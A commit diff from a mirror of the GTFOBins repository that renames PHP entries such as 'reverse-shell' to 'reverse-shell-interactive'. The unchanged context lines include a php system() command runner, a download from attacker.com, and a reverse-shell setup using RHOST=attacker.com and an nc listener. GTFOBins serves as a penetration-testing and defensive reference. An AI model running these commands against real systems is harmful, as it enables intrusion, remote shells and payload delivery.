mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-21 15:49:28 +02:00
Reorganize function names
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
---
|
||||
functions:
|
||||
exec-non-interactive:
|
||||
execute-non-interactive:
|
||||
- code: |
|
||||
export CMD="ls /"
|
||||
php -r 'system(getenv("CMD"));'
|
||||
@@ -39,7 +39,7 @@ functions:
|
||||
export URL=http://attacker.com/file_to_get
|
||||
export LFILE=where_to_save
|
||||
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
|
||||
reverse-shell:
|
||||
reverse-shell-interactive:
|
||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||
code: |
|
||||
export RHOST=attacker.com
|
||||
|
Reference in New Issue
Block a user